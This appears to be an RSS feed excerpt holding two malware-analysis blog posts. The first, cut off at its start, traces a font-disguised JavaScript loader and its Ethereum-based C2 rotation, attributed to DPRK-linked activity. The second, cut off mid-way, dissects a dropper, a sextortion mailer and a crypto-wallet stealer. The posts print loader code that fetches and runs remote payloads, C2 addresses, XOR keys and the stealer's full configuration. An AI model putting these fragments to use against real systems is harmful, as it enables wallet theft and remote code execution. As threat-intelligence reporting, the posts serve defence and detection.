&#39;:443&#39;;<br>_global[&#39;_t_u&#39;] = &#39;http://&#39; + ip1 + &#39;:80&#39;;</pre><p>The loader then used the first decoded IP to contact the C2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2A2lhMKmX6V06Sas3S26A.png" /></figure><p>What caught my attention was the port. The actual payload requests were sent using <strong>plain HTTP to port 443</strong>:</p><pre>run_loader(<br>  new URL(&#39;http://&#39; + ip1 + &#39;:443/0x/cls&#39;),<br>  &#39;q4FZkxX{!h,Sr3=@&#39;,<br>  false<br>)</pre><p>It then requested a second path:</p><pre>run_loader(<br>  new URL(&#39;http://&#39; + ip1 + &#39;:443/0x/ls&#39;),<br>  &#39;y-p_&gt;d$0B&amp;@^1aQk&#39;,<br>  true<br>)</pre><p>The responses themselves were not expected to contain clean JavaScript. The loader passed each response through its XOR decoder using the key supplied to run_loader().</p><p>There was also a small but important difference between the two stages.</p><p>The /0x/cls request was called with isBoot = false, meaning that the recovered code was <strong>immediately executed with </strong><strong>eval()</strong>, and was also launched in a separate Node.js process.</p><p>The /0x/ls request was called with isBoot = true. In that case, the eval() path was skipped, but the recovered code was still launched through:</p><pre>spawn(&#39;node&#39;, [&#39;-e&#39;, env + code], {<br>  detached: true,<br>  stdio: &#39;ignore&#39;,<br>  windowsHide: true,<br>}).unref();</pre><p>So the two requests weren’t simply duplicates. <strong>The loader treated them as different stages with different execution behaviour.</strong></p><p>The resulting execution model is roughly:</p><pre>             Ethereum<br>                 |<br>                 v<br>             C2 address<br>                 |<br>                 v<br>        /0x/cls (or) /0x/ls<br>                 |<br>                 v<br>        Base64 / XOR payload<br>                 |<br>                 v<br>          JavaScript code<br>             /       \<br>            /         \<br>         eval()     node -e<br>                       |<br>                       v<br>                 detached process</pre><p>That was the point where I moved from reversing the loader to <strong>tracking the infrastructure behind it</strong>.</p><h3>Infrastructure Tracking</h3><p>I went back to the <a href="https://etherscan.io/txs?a=0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a&amp;p=1">target ETH wallet’s history</a> and downloaded all the transactions it contained. It gave me something I couldn’t get from the recovered JavaScript alone: <strong>a history of the C2 infrastructure used by the malware</strong>.</p><p>I decoded the To address of each outgoing transaction using the same logic implemented by decodeAddress() and grouped the transactions by the resulting IP.</p><p>This produced the following timeline:</p><pre>|    C2 Address    | First observed | Last observed | Transactions |<br>|------------------|----------------|---------------|--------------|<br>| `166.88.134.62`  | 25 Jul 2026    | 22 Aug 2026   | 178          |<br>| `23.27.13.135`   | 22 Aug 2026    | 27 Aug 2026   | 48           |<br>| `166.88.73.46`   | 28 Aug 2026    | 3 Sep 2026    | 61           |<br>| `193.247.144.38` | 4 Sep 2026     | 17 Sep 2026   | 85           |<br>| `166.88.134.75`  | 17 Sep 2026    | 27 Sep 2026   | 79           |</pre><p>The sender wallet remained constant throughout this process. What changed was the recipient address, which encoded the new C2 IP.</p><p>In other words, the attacker could keep the same blockchain dead drop while changing the infrastructure behind it.</p><p><strong>The blockchain was preserving the C2 rotation history.</strong></p><h3>Pivoting on 166.88.134.62</h3><p>The first C2 address in the history, 166.88.134.62, gave me another useful lead.</p><p>A search through <a href="https://urlhaus.abuse.ch/host/166.88.134.62/">URLhaus</a> showed three malware URLs associated with the host:</p><pre>http://166.88.134.62/0x/cls<br>http://166.88.134.62/0x/js<br>http://166.88.134.62/0x/ls</pre><p>The URLs were first seen on <strong>August 2, 2026</strong>, and were offline when I checked them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wm83hGJ5wmEvQ-M49aBnfw.png" /><figcaption>Interestingly, URLhaus showed 166.88.134.62 as active while the individual URLs were offline.</figcaption></figure><p>Two of the paths immediately stood out:</p><pre>/0x/cls<br>/0x/ls</pre><p>These were the <strong>same paths used by the loader recovered from the compromised repository</strong>.</p><p>URLhaus also had these entries tagged <strong>DPRK</strong> by the reporter.</p><blockquote>Note that <strong>166.88.134.62 was not the IP decoded from the Ethereum transaction I had recovered, it is the value present in URLHaus Threat Intelligence database.</strong></blockquote><blockquote>The decoded address in our case, pointed to a different host <strong>(166.88.134.75)</strong></blockquote><blockquote>However, both addresses fall within the same 166.88.134.0/24 routing prefix, making 166.88.134.62 an interesting infrastructure pivot rather than evidence that the two hosts are the same system.</blockquote><h3>The Current C2</h3><p>I checked the most recent IP, 166.88.134.75, via Censys to understand what was exposed on the server.</p><p>As of <strong>27 September 2026</strong>, Censys reported four accessible services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BULMp-vZNxnHQGnJRr9hRg.png" /><figcaption>Censys output for the decoded IP — infrastructure hosted in the UK. Another interesting thing to note is that all the C2 IP addresses which were rotated, were all hosted in the UK, by the same provider as well.</figcaption></figure><p>There was no reverse DNS, forward DNS, or OS information available from the Censys result.</p><p>The presence of HTTP on <strong>443</strong> was particularly interesting because it matched what I had already seen in the malware.</p><p>And Censys independently showed <strong>HTTP exposed on TCP/443</strong> on the current C2 host.</p><p>That doesn’t, by itself, prove that the Censys-observed service was serving the malware at the time of scanning. But it was consistent with the network behaviour I had recovered from the loader.</p><p>The same host also exposed RDP and WinRM:</p><pre>3389 → RDP<br>5985 → WinRM</pre><p>I didn’t have enough evidence from this investigation to establish whether those services were related to the malware infrastructure or simply exposed services on the underlying server.</p><h3>Putting the Infrastructure Together</h3><p>At this point, the infrastructure picture looked like this:</p><pre>Ethereum Blockchain<br>        |<br>        v<br>Hardcoded sender wallet<br> 0xa322...90Ef1a<br>        |<br>        | publishes encoded `to`<br>        v<br>  166.88.134.62<br>        |<br>        | C2 rotation<br>        v<br>  23.27.13.135<br>        |<br>        | C2 rotation<br>        v<br>  166.88.73.46<br>        |<br>        | C2 rotation<br>        v<br>  193.247.144.38<br>        |<br>        | C2 rotation<br>        v<br>  166.88.134.75<br>        |<br>        v<br>Current / latest observed C2<br>        |<br>        +---- :443 HTTP /0x/cls<br>        |<br>        +---- :443 HTTP /0x/ls<br>        |<br>        v<br> Next-stage JavaScript</pre><p>There were therefore <strong>three different pieces of infrastructure evidence</strong> pointing in the same direction:</p><ol><li><strong>The recovered malware</strong> contained the wallet address, C2 discovery logic, /0x/ paths and XOR keys.</li><li><strong>The Ethereum transaction history</strong> preserved the historical sequence of C2 addresses.</li><li><strong>Public infrastructure telemetry</strong> provided additional observations, including the /0x/ paths on 166.88.134.62 and HTTP exposed on port 443 on the later 166.88.134.75 host.</li></ol><h3>Campaign Attribution: DPRK / Lazarus</h3><p>The recovered loader matches the publicly documented <strong>NullReceiver</strong> technique and shares multiple indicators with the <strong>PolinRider</strong> campaign, including the Ethereum dead-drop mechanism, recipient marker, C2 paths and XOR keys.</p><p><a href="https://lazarus.day/actors/polinrider/?cluster=true">Public research</a> attributes PolinRider to a <strong>DPRK-linked Lazarus/Contagious Interview activity cluster</strong>.</p><p>The evidence from this investigation is therefore consistent with that broader attribution. However, I could not independently establish a specific DPRK subgroup such as APT37/Chollima, nor can I claim that the evidence alone identifies a particular operator.</p><p>For that reason, I refer to the activity throughout this investigation as <strong>DPRK-linked PolinRider/NullReceiver activity</strong>.</p><h3>Conclusion</h3><p>What started as an unexplained GitHub compromise turned into a much larger infrastructure investigation.</p><p>A malicious VS Code task led to a JavaScript loader hidden inside a WOFF2 font, which in turn used an Ethereum address as a dead-drop mechanism for discovering rotating C2 infrastructure.</p><p>By following the blockchain history and pivoting into public infrastructure data, I was able to reconstruct that C2 rotation and connect the activity to the broader DPRK-linked NullReceiver ecosystem.</p><p><strong>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</strong></p><h3>IoCs</h3><pre>| Type              | Indicator                                   | Context                                |<br>|-------------------|---------------------------------------------|------------------------------------ ---|<br>| Ethereum address  | `0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a`| Blockchain C2 dead-drop sender         |<br>| File Hash         | `f752dcf2a1d86d4a978cb7a5ddab21e1`          | MD5 Hash of the original file          |<br>| C2 IP             | `166.88.134.62`                             | Historical C2 infrastructure           |<br>| C2 IP             | `23.27.13.135`                              | Historical C2 infrastructure           |<br>| C2 IP             | `166.88.73.46`                              | Historical C2 infrastructure           |<br>| C2 IP             | `193.247.144.38`                            | Historical C2 infrastructure           |<br>| C2 IP             | `166.88.134.75`                             | Latest observed C2                     |<br>| URI               | `/0x/cls`                                   | Payload retrieval                      |<br>| URI               | `/0x/ls`                                    | Payload retrieval                      |<br>| URI               | `/0x/js`                                    | Observed in URLhaus                    |<br>| User-Agent        | Chrome/Windows spoofed UA                   | C2 communication                       |<br>| XOR key           | `q4FZkxX{!h,Sr3=@`                          | `/0x/cls` response decoding            |<br>| XOR key           | `y-p_&gt;d$0B&amp;@^1aQk`                          | `/0x/ls` response decoding             |</pre><p><strong>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</strong></p><h3>MITRE ATT&amp;CK Mapping</h3><pre>| ATT&amp;CK Technique                               | ID        | Evidence                                                    |<br>|------------------------------------------------|-----------|----------------------------------------------------------------|<br>| Command and Scripting Interpreter: JavaScript  | T1059.007 | Malicious JavaScript executed through Node.js                  |<br>| Ingress Tool Transfer                          | T1105     | Loader retrieves additional JavaScript from C2                 |<br>| Application Layer Protocol: Web Protocols      | T1071.001 | HTTP used for C2 communication                                 |<br>| Obfuscated/Compressed Files or Information     | T1027     | WOFF2-disguised payload contains heavily obfuscated JavaScript |</pre><p><strong>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -</strong></p><p>Hope you found this article insightful. Follow me for similar content like this!!</p><p>My LinkedIn: <a href="https://www.linkedin.com/in/rd-tarun">https://www.linkedin.com/in/rd-tarun</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d332abbdedf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Email Says “I Have Footage of You.” It’s Lying. The Malware Isn’t.]]></title>
            <link>https://medium.com/@tarunrd77/the-email-says-i-have-footage-of-you-its-lying-the-malware-isn-t-90561c0616e1?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/90561c0616e1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[bitcoin]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 15:03:53 GMT</pubDate>
            <atom:updated>2026-07-28T15:03:53.023Z</atom:updated>
            <content:encoded><![CDATA[<h4>Reverse engineering a sextortion campaign that’s extorted thousands of dollars per victim — while quietly stealing crypto wallets in the background</h4><h3>Introduction</h3><p>Five executables. Same file size. Different hashes. At first glance, they look almost identical. They aren’t.</p><p>Behind them is a coordinated malware campaign built around three separate objectives: cryptocurrency theft, sextortion, and cryptomining.</p><p>What started as a quick look at a suspicious dropper quickly turned into a much larger reverse engineering exercise. The dropper stages multiple payloads, establishes persistence, downloads additional components, and coordinates the entire infection chain.</p><p>The main payload is a Go-compiled browser wallet stealer targeting eleven different wallet extensions. Once executed, it forcefully terminates the victim’s browser, steals wallet data, injects a persistent malicious extension, and removes itself from disk. Alongside it is a sextortion component that sends extortion emails directly from the victim’s machine, and a Monero miner that quietly limits itself to 25% CPU usage to avoid drawing attention. Depending on the operating system, the campaign even deploys different miner variants.</p><p>This post breaks down the entire campaign, from the initial dropper to the browser extension injection, persistence mechanisms, C2 infrastructure, and the techniques used to keep the malware running long after the initial compromise.</p><p>Let’s go through it layer by layer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYfRhWhWSFDD8Ary7IljqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/179/1*_9tUHbWbC3eDCQfqO05Hcg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/158/1*w_7y-4WGIIwvg5XsoHlWJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/153/1*Arziww3MyFIzFzd1JEVx1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/176/1*uU4QB7Hi5NB86OKx_yfp4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/166/1*xPDeh4ZUwHWHlZjM8Eyu3w.png" /><figcaption>A small sample of publicly reported victim losses. The true impact is much much higher. (Source: <a href="https://chainabuse.com/address/16FnhJgft5PxM3QNRjq9FiafkKHAAv8Ngy">chainabuse.com</a>)</figcaption></figure><h3>The Dropper</h3><p>The initial sample is a small 32-bit Windows PE written in C. No persistence, no C2 communication, no fancy tricks, just a stager whose only job is to download and execute up to <strong>EIGHT</strong> secondary payloads from a single C2 at 178.16.54.109, conditional on the victim machine&#39;s profile.</p><h4>orchestrator_main</h4><p>After a basic Sleep(2000) , five payloads — n.exe, x.exe, 5.exe, 7.exe, 12.exe are downloaded unconditionally on every victim, regardless of system configuration. No checks, no conditions. Everyone gets these five.</p><p>Then the gating logic kicks in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*_nsD2_tOi-x7uTehw3xd7w.png" /></figure><p>check_create_miner_flag() is called, if %APPDATA%\d3333333333333333333.txt doesn&#39;t exist, and the machine is 64-bit (check_64bit_os()), xmr.exe is downloaded. If the build number is above 21999 (Windows 11), xmrget.exe is downloaded too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*8nhHrlM6357pmOwnRYWBDw.png" /></figure><p>check_create_stealer_flag() is called next. If %APPDATA%\3969592695.txt doesn&#39;t exist, grab.exe is installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*LiJo-EDrFvQxTmuOTmBqvg.png" /></figure><h4>check_64bit_os</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*6D5T4EYhzCLLL5wakpWCgQ.png" /></figure><p>Checks whether %SYSTEMDRIVE%\Program Files (x86) exists via PathFileExistsW. That directory only appears on 64-bit Windows. If it&#39;s absent — 32-bit OS, no miner gets deployed. No point mining Monero on a 32-bit system, the hashrate is negligible.</p><h4>check_windows11_build</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*sUQs2mKJov56-dQbii0w4g.png" /></figure><p>This function loads ntdll.dll, resolves RtlGetVersion via GetProcAddress, and calls it directly. If it passes, xmrget.exe drops alongside xmr.exe.</p><p>Moving onto the remaining files,</p><h3>The Hash Mystery</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w4Urh6ddx92wEHimEuJ5Fw.png" /><figcaption>HashMyFiles output of the 5 files</figcaption></figure><p>All the five binaries are exactly <strong>18,432 bytes</strong>. Identical size. <strong>But every hash is different.</strong></p><p>After loading all five into Ghidra and examining them properly, the picture becomes clear: there are <strong>two templates</strong> across all five, and four of them are byte-for-byte identical except for a single field.</p><h4>Template A — n.exe only</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPUO2VVKNHULRd2j0sxpfQ.png" /><figcaption>Strings view of Template — 1 file</figcaption></figure><p>The outlier. Claims the victim was infected with a RAT (“Remote Administration Tool”). Demands <strong>$1,400</strong>. Checks connectivity via DnsQuery_A(&quot;yahoo.com&quot;). No password hook, just a generic &quot;I recorded you&quot; threat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*DRCNgKiJXcP-VEC_uCCt1A.png" /></figure><h4>Template B — x.exe, 5.exe, 7.exe, 12.exe</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*vpkJNH2IAy_9hatJNRQrkg.png" /><figcaption>Strings view of Template — 2 file</figcaption></figure><p>A completely different script. Claims infection via a “drive-by browser exploit” rather than a RAT. Demands <strong>$1,200</strong> with a <strong>3-day deadline</strong>. Checks connectivity via mail.ru instead of yahoo.com. Hardcoded sender: &lt;John@4452.com&gt;. Uses the same BTC address though.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*n8TB-mAnNYBzn3I5Ut21mQ.png" /></figure><p>All four Template B binaries are byte-for-byte identical except at offset 0x406020 — the debug string field — and this is where it gets interesting.</p><p><strong>The Builder</strong></p><p>The debug string at 0x406020 is passed directly to CreateMutexA as the mutex name. Every binary gets a unique value stamped there at build time:</p><p>That debug string field tells the whole story. Each binary has a different value stamped there:</p><pre>| Binary   | Debug String           |<br>| -------- | ---------------------- |<br>| `n.exe`  | `frfrfrfrfrfrfrffrf`   |<br>| `x.exe`  | `hhhkhj`               |<br>| `5.exe`  | `faefeaeafaefaefeffae` |<br>| `7.exe`  | `62624646`             |<br>| `12.exe` | `5235235`              |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*ir6hF3NP9nZEeGe6bTtkOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*05jK2-1G0x_oId_Pi4OUuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*ge38sy7pJKPHoIPoDdz_4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*-KABaBvT80LfoqDoeK43sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*V7U7ApDLQ5ZeT9bbRAAMwQ.png" /><figcaption>Debug string values of the different files</figcaption></figure><p>This <strong>debug string</strong> field is the only thing that changes between Template B builds. Change it, rebuild, get a new hash.</p><p>Both templates also have a different <strong>XOR+NOT </strong>obfuscation scheme, contributing to the hash difference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*nm2olrAgwHUl91lDRlydcA.png" /><figcaption>“Tmlr” is the key</figcaption></figure><blockquote><strong>Why are five binaries have the same functionality?</strong></blockquote><blockquote>Redundancy and hash diversity. If three of the five get flagged by endpoint security on the victim machine, the other two still execute. Each binary produces a unique hash due to the stamped debug field, defeating hash-based AV signatures. The operator runs a builder, generates five variants in one sitting, and uploads them all to the C2. Thirty seconds of work.</blockquote><h3>What n.exe / x.exe actually is</h3><p>It’s a <strong>self-contained sextortion spam engine</strong>. It doesn’t need a C2, it doesn’t exfiltrate data, it doesn’t persistit just blasts extortion emails directly from the victim’s machine to a list of email addresses.</p><h4>Startup &amp; connectivity check</h4><p>Before doing anything, it checks for internet connectivity by doing a DNS lookup for yahoo.com and attempting a raw TCP connection to port 25 on one of its MX records. If that fails, it bails. No point running the spam engine with no network.</p><h4>Victim IP resolution</h4><p>Fetches the victim’s public IP from icanhazip.com using the spoofed UA. This gets injected into fake Received: headers to make the email look like it passed through legitimate mail infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*IQ11BlGpX0SILWXFPFYNmg.png" /></figure><h4>Email list —loading</h4><p>First it downloads %temp%\n.txt from the C2. This file contains a single integer, say 12. That tells the malware how many email list shards exist on the C2 server. If n.txt returns 0 or is unreachable, ExitThread(0) — campaign is over. Otherwise it picks a random number from 1 to 12, downloads the corresponding shard (e.g. 5.txt), and saves it to %TEMP%\&lt;rand1&gt;&lt;rand2&gt;&lt;rand3&gt;.jpg (For example, 1234567.jpg looks like a random image file sitting in temp, nothing suspicious, so AV &amp; Sysadmin will ignore it)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*n-uXk2FK72-we6jipkS-QQ.png" /></figure><p>The .jpg extension is deliberate camouflage. The file isn&#39;t an image, it&#39;s a plaintext list of email addresses. But a sysadmin glancing at %TEMP% sees what looks like a random image thumbnail. Nothing suspicious. After the 5000 threads finish sending emails, DeleteFileW removes it anyway so it doesn&#39;t even stick around long enough to be noticed.</p><h4><strong>Email List — selection</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*612EbHPT5KM-qFIUsDXpKg.png" /><figcaption>notice how DAT_00406738 is the same data object referred to in the previous image (highlighted in yellow)</figcaption></figure><p>select_email_from_list opens the .jpg shard, seeds srand with GetTickCount, and uses reservoir sampling to pick a random email address. The function handles both email:password and email;password credential formats — it strips everything after : or ; to get the clean email address before passing it to send_sextortion_email. This is a combolist — the email list is harvested credentials, and the spam engine strips the password field since it only needs the address.</p><h4>SMTP engine</h4><p>For each target, MAIL FROM and RCPT TO both set to the victim&#39;s own email address, which is the envelope spoofing trick that makes it look like the email came from their own account. Two fake Received: headers with randomised IP octets and fake qmail strings. Then the body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*X_KyvBY6E05wHX6TiDPjkQ.png" /><figcaption>Lengthy body text in Ghidra’s decompiler window</figcaption></figure><p>Extracting the text content alone,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XSr_qgE1Ni06RtJhVcQDKw.png" /><figcaption>The sextortion text which the victim will receive as email</figcaption></figure><h3>grab.exe: The “actual” payload</h3><p>This is where the campaign gets serious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*DGcSTTRwRCrNN-RhWKH1Bg.png" /></figure><p>grab.exe is a variant of <strong>NeedleStealer</strong> — a modular crypto-stealing C2 framework that has been documented <a href="https://www.broadcom.com/support/security-center/protection-bulletin/needle-stealer-malware-spread-via-fraudulent-websites">previously</a>. The ext/internal package structure, the cfg.json embedded config, the API key authentication, and the backup domain rotation are all consistent with the Needle framework.</p><p>It does two things: steal every browser-based crypto wallet on the machine, and inject a persistent malicious extension into every supported browser to maintain ongoing access. Everything else (fingerprinting, watchdog, self-deletion) exists to support those two goals.</p><h4>The Config — cfg.json</h4><p>Embedded directly in the binary is the config file cfg.json, readable without any unpacking:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*r1IR8ccr3yQtKZIpzwn84w.png" /><figcaption>cfg.json’s text embedded</figcaption></figure><pre>{<br>  &quot;api_key&quot;: &quot;alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f&quot;,<br>  &quot;server_url&quot;: &quot;http://130.12.180.135:3000/api/v2&quot;,<br>  &quot;self_destruct&quot;: false,<br>  &quot;base_extension&quot;: false,<br>  &quot;wait_for_browser_close&quot;: false,<br>  &quot;intercept_original_password&quot;: false,<br>  &quot;pin_replaced_extensions&quot;: false,<br>  &quot;smart_pin_replaced_extensions&quot;: true,<br>  &quot;debug_log&quot;: false,<br>  &quot;ext_manifest&quot;: {<br>    &quot;account_extension_type&quot;: 0,<br>    &quot;active_permissions&quot;: {<br>      &quot;api&quot;: [<br>        &quot;history&quot;, &quot;notifications&quot;, &quot;storage&quot;, &quot;tabs&quot;,<br>        &quot;webNavigation&quot;, &quot;declarativeNetRequest&quot;, &quot;scripting&quot;,<br>        &quot;declarativeNetRequestWithHostAccess&quot;, &quot;sidePanel&quot;<br>      ],<br>      &quot;explicit_host&quot;: [&quot;&lt;all_urls&gt;&quot;],<br>      &quot;manifest_permissions&quot;: [],<br>      &quot;scriptable_host&quot;: [&quot;&lt;all_urls&gt;&quot;]<br>    },<br>    &quot;commands&quot;: { &quot;_execute_action&quot;: { &quot;was_assigned&quot;: true } },<br>    &quot;content_settings&quot;: [],<br>    &quot;creation_flags&quot;: 38,<br>    &quot;disable_reasons&quot;: [],<br>    &quot;dnr_static_ruleset&quot;: {<br>      &quot;1&quot;: { &quot;checksum&quot;: 272151422, &quot;ignore_ruleset&quot;: false }<br>    },<br>    &quot;filtered_service_worker_events&quot;: {<br>      &quot;webNavigation.onCommitted&quot;: [{}]<br>    },<br>    &quot;first_install_time&quot;: &quot;&quot;,<br>    &quot;from_webstore&quot;: false,<br>    &quot;granted_permissions&quot;: {<br>      &quot;api&quot;: [<br>        &quot;history&quot;, &quot;notifications&quot;, &quot;storage&quot;, &quot;tabs&quot;,<br>        &quot;webNavigation&quot;, &quot;declarativeNetRequest&quot;, &quot;scripting&quot;,<br>        &quot;declarativeNetRequestWithHostAccess&quot;, &quot;sidePanel&quot;<br>      ],<br>      &quot;explicit_host&quot;: [&quot;&lt;all_urls&gt;&quot;],<br>      &quot;manifest_permissions&quot;: [],<br>      &quot;scriptable_host&quot;: [&quot;&lt;all_urls&gt;&quot;]<br>    },<br>    &quot;incognito_content_settings&quot;: [],<br>    &quot;incognito_preferences&quot;: {},<br>    &quot;last_update_time&quot;: &quot;&quot;,<br>    &quot;location&quot;: 4,<br>    &quot;newAllowFileAccess&quot;: true,<br>    &quot;path&quot;: &quot;&quot;,<br>    &quot;preferences&quot;: {},<br>    &quot;regular_only_preferences&quot;: {},<br>    &quot;serviceworkerevents&quot;: [<br>      &quot;action.onClicked&quot;,<br>      &quot;notifications.onClicked&quot;,<br>      &quot;runtime.onInstalled&quot;<br>    ],<br>    &quot;was_installed_by_default&quot;: false,<br>    &quot;was_installed_by_oem&quot;: false,<br>    &quot;withholding_permissions&quot;: false<br>  },<br>  &quot;extension_host&quot;: {<br>    &quot;nkbihfbeogaeaoehlefnkodbefgpgknn&quot;: &quot;meta.zip&quot;,<br>    &quot;ejbalbakoplchlghecdalmeeeajnimhm&quot;: &quot;meta.zip&quot;,<br>    &quot;egjidjbpglichdcondbcbdnbeeppgdph&quot;: &quot;trust.zip&quot;,<br>    &quot;mcohilncbfahbmgdjkbpemcciiolgcge&quot;: &quot;okx.zip&quot;,<br>    &quot;pbpjkcldjiffchgbbndmhojiacbgflha&quot;: &quot;okx.zip&quot;,<br>    &quot;bfnaelmomeimhjnjophhpkkoljpa&quot;: &quot;phantom.zip&quot;,<br>    &quot;omaabbefbmiijedngplfjmnooppbclkk&quot;: &quot;ton.zip&quot;,<br>    &quot;hnfanknocfeofbddgcijnmhnfnkdnaad&quot;: &quot;coinbase.zip&quot;,<br>    &quot;gjnckgkfmgmibbkoficdidcljeaaaheg&quot;: &quot;atomic.zip&quot;,<br>    &quot;pdliaogehgdbhbnmkklieghmmjkpigpa&quot;: &quot;bybit.zip&quot;,<br>    &quot;cadiboklkpojfamcoggejbbdjcoiljjk&quot;: &quot;binance.zip&quot;<br>  }<br>}</pre><p>This configuration is essentially the malware’s playbook : it specifies the C2, permissions, and exactly which cryptocurrency wallet extensions the malicious browser extension is designed to replace or impersonate. It’s a particularly valuable artifact because it reveals the operator’s intended targets without requiring dynamic execution.</p><p>Another notable detail is the 11 embedded wallet extensions targeted across seven separate malicious ZIP archives, requiring no runtime download. Even if the C2 goes down after execution, the extension still gets installed.</p><h4>Execution Flow</h4><p><strong>1)Configuration load</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*3RP1Xs46u4D9g-YaPBR_tA.png" /></figure><p>embed.FS.ReadFile on cfg.json. Malformed or missing config → exit. No hardcoded fallback.</p><p><strong>2) Browser targeting</strong></p><p>Hardcoded browser list: Chrome, Edge, Brave, Opera, Vivaldi. ListProfileLocations at 0x0067fde0 enumerates every user profile per browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*iWezAo1b6Y7fE7dA2aW0HA.png" /></figure><p>One goroutine per profile. Five browsers, three profiles each = fifteen threads stealing simultaneously.</p><p><strong>3) Wallet theft</strong></p><p>forceTerminateBrowserProcessesOnce at 0x00680600 kills the browser via gopsutil.KillWithContext. Chromium keeps profile files locked while running — LevelDB, SQLite, everything. Dead browser = exclusive access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*BzxIw1rXcUL9dnBuFyRImA.png" /></figure><p>ArchiveExtensionSettings zips Local Storage, Session Storage, Extension State for each targeted wallet extension. They get POSTed to the C2 via UploadWalletAsync at 0x006834c0 with x-api-key in the header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*viK-FCrlkW1z_PUIbGzb9A.png" /></figure><p>Both archives get queued in a WalletBatchCollector and uploaded via UploadWalletAsync , a HTTPS POST request to the C2 with x-api-key in the header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*u7cidLkgRA5TgXklT-3QjQ.png" /></figure><p><strong>4) Victim fingerprinting</strong></p><p>Before installing the extension, the malware builds a <strong>victim identifier</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*oGT1MuI3A3Ii__oic-6JYg.png" /></figure><p>These three are combined and passed to generateInstallFingerprint, which runs crypto/hmac.New with SHA256 to produce a stable, unique victim HWID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*AyJgDH3-NlwkynikimprRw.png" /></figure><p>This HWID gets patched into a file inside the extension ZIP by replaceHWIDInFile before installation. Every deployed extension instance has a unique victim fingerprint embedded in it. The attacker can correlate stolen wallet uploads with specific machines and track whether an extension is still active on a given victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*BZHV0T0z6dfZRadEdSzsgQ.png" /><figcaption>replaceHWIDInFile called before patching</figcaption></figure><p><strong>5) Extension injection</strong></p><p>The Install() routine first validates the ZIP archive, creates the target extension directory, generates a deterministic Chrome extension ID from the victim fingerprint, and extracts the extension into the install path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*twPetrdZ7gUO-2RRssNf0g.png" /></figure><p>It then computes a victim-specific hardware fingerprint (HWID), and then modifies the extension&#39;s background.js by replacing a placeholder with that HWID.</p><blockquote>In browser extensions, background.js serves as the extension&#39;s main event handler. It runs in its own context separate from web pages and has full access to browser extension APIs.</blockquote><p>By embedding the unique identifier directly into the extension before it is loaded, the malware personalizes the extension for each infected machine, allowing the malicious background script to identify the victim in future communications with the attacker&#39;s infrastructure.</p><p><strong>6) C2 backup domain failover</strong></p><p>If the primary C2 domain is unreachable, the malware has a backup plan. ext_internal.FetchBackupDomains() sends a GET request to:</p><pre>{C2_URL}/backup-domains/active</pre><p>With headers:</p><ul><li>Accept: application/json</li><li>x-api-key: {api_key_from_config}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*b3ZHjegM8aaZOnqjxNGDgg.png" /></figure><p>The response is a JSON list of backup C2 domains. The malware strips the https:// prefix and trailing slashes, then caches the list locally at %APPDATA%\&lt;stealer_dir&gt;\backup_domains.json.</p><figure><img alt="" 